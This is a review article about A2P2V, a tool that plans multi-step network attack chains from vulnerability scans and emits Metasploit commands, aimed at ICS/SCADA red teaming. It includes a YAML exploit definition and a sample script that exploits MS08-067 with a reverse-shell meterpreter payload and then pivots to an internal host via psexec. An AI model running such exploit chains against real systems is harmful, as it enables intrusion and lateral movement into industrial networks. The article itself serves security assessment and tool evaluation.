A2P2V: Automated Attack Path Planning That Bridges Vulnerability Scanning and Exploitation

Hook

What if your vulnerability scanner could automatically tell you not just what's broken, but exactly how an attacker would chain those vulnerabilities together to reach your crown jewels—and hand you the exploit commands to prove it?

Context

Traditional penetration testing workflows have a critical gap: vulnerability scanners like Nessus identify weaknesses across your network, but translating that sprawl of CVEs into actual attack paths requires manual analysis by expensive security experts. You might have 500 medium-severity vulnerabilities across 50 hosts, but which combination of three specific vulns lets an attacker pivot from the DMZ to your database server? Security teams either rely on senior pentesters to manually map attack chains—a time-intensive process requiring deep expertise—or they focus on individual high-severity findings while missing the forest for the trees.

A2P2V (Attack Planning, Exploit Generation, and Remediation Recommendation) attempts to solve this automation problem by treating network exploitation as a classical AI planning challenge. Rather than requiring a human to intuit attack paths, it models the network as a graph where nodes are system states and edges are exploit actions. By representing each exploit's preconditions (what access you need) and postconditions (what access you gain) in a formal framework, A2P2V can use search algorithms to discover multi-hop attack chains automatically. It's designed for environments where you have detailed network documentation—particularly ICS/SCADA operational technology networks—and need to demonstrate realistic attack scenarios without requiring a team of penetration testing experts.

Technical Insight

A2P2V's architecture revolves around the Precondition-Action-Postcondition (PAP) framework borrowed from classical AI planning. Each exploit capability is defined as a YAML document describing what conditions must be true before execution (preconditions), what the exploit does (action), and what new capabilities result (postconditions). This formalization lets the planner reason about exploit composition.

Here's what a capability definition looks like in practice:

name: ms08_067_netapi
description: Microsoft Server Service Relative Path Stack Corruption
preconditions:
  - attacker_network_access: target
  - target_port_open: 445
  - target_os: windows
  - target_vulnerable: MS08-067
postconditions:
  - attacker_access: system_shell
  - attacker_privilege: SYSTEM
  - pivot_available: true
msf_module: exploit/windows/smb/ms08_067_netapi
platform: windows
score: 10.0

The planner ingests network topology from XML files describing hosts, network segments, and connectivity. Vulnerability data comes from Nessus or Nmap scans mapped to these topology definitions. The attacker's initial conditions (starting position, initial access level) and goals (target hosts or specific outcomes like 'modify PLC setpoint') are specified as constraints.

The core planning algorithm performs a graph search—likely A* or Dijkstra-based given the score-based ranking—through the state space. Each state represents the attacker's current capabilities (which hosts they control, what access levels they have). Edges are exploit actions that transition between states when preconditions are satisfied. The search explores paths from the initial state to goal states, ranking complete attack chains by aggregate score (typically CVSS severity).

What differentiates A2P2V from theoretical attack graph tools is its output: executable Metasploit RPC commands. Rather than producing a pretty diagram for a PowerPoint, it generates a script you can run against Metasploit's RPC daemon:

# Example A2P2V output structure (conceptual)
import msgpack
import requests

msf_client = MsfRpcClient('password', server='127.0.0.1', port=55553)

# Step 1: Exploit MS08-067 on host 192.168.1.50
exploit = msf_client.modules.use('exploit', 'windows/smb/ms08_067_netapi')
exploit['RHOSTS'] = '192.168.1.50'
exploit['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
exploit['LHOST'] = '192.168.1.100'
session1 = exploit.execute()

# Step 2: Use obtained session to pivot and exploit internal host
exploit2 = msf_client.modules.use('exploit', 'windows/smb/psexec')
exploit2['RHOSTS'] = '10.0.0.20'
exploit2['SMBUser'] = 'extracted_from_session1'
exploit2['SESSION'] = session1
session2 = exploit2.execute()

The two-mode architecture addresses different scenarios. Full planning mode handles complex multi-hop scenarios: "I'm outside the network with initial access to a web server; how do I reach the internal SCADA HMI?" Single-host mode simplifies to direct exploitation: "This specific machine has vulnerabilities X, Y, Z—what's the best way in?" This mode skips graph search and focuses on ranking exploits for a single target.

The ICS/SCADA focus is notable. Traditional IT networks have dynamic topology and frequent patching, making static topology files impractical. But operational technology environments have stable, well-documented network architectures that rarely change—perfect for A2P2V's input requirements. The goal-based planning ("change temperature on PLC X") maps naturally to consequence-driven OT attack scenarios rather than just "get domain admin."

Gotcha

The barrier to entry is substantial. A2P2V requires XML topology files that precisely describe your network architecture—not something most organizations have lying around in the required format. You'll need to manually create these definitions, mapping hosts to network segments, defining connectivity, and ensuring the topology model matches reality. Vulnerability scan results must be imported and correlated to topology nodes. Each exploit capability requires a YAML definition linking CVEs to Metasploit modules with correct precondition/postcondition logic. For a non-trivial network, expect days of setup before the first plan runs.

The Metasploit coupling is a double-edged sword. While generating executable MSF commands is powerful, you're limited to exploits Metasploit supports with working modules. Modern vulnerabilities might lack MSF modules, cutting-edge exploits won't be available, and the tool's effectiveness depends entirely on Metasploit's database currency. The requirement for a running MSF RPC daemon adds infrastructure complexity. The project's apparent low maintenance (68 GitHub stars, Python 3.6 requirement suggesting 2018-era development) raises concerns about whether the exploit database and capability definitions remain relevant against 2024 vulnerabilities. In fast-moving security tooling, an unmaintained project often means outdated exploit coverage and incompatibility with current vulnerability scanners.

Verdict

Use if: You're conducting structured red team exercises in ICS/SCADA environments where you have detailed network topology documentation, need to demonstrate realistic multi-hop attack chains to non-technical stakeholders, and can invest significant setup time creating topology and capability definitions. The formal planning approach excels at finding non-obvious attack paths in stable, well-documented networks. Skip if: You need rapid ad-hoc testing, lack precise network topology data, require cutting-edge exploit coverage, or want a maintained tool with active development. Most modern penetration testing workflows benefit more from tools like BloodHound (for Active Directory attack paths with minimal setup) or Caldera (for maintained adversary emulation with ATT&CK mapping). A2P2V's academic approach to automated planning is intellectually interesting but practically cumbersome compared to newer alternatives that balance automation with usability.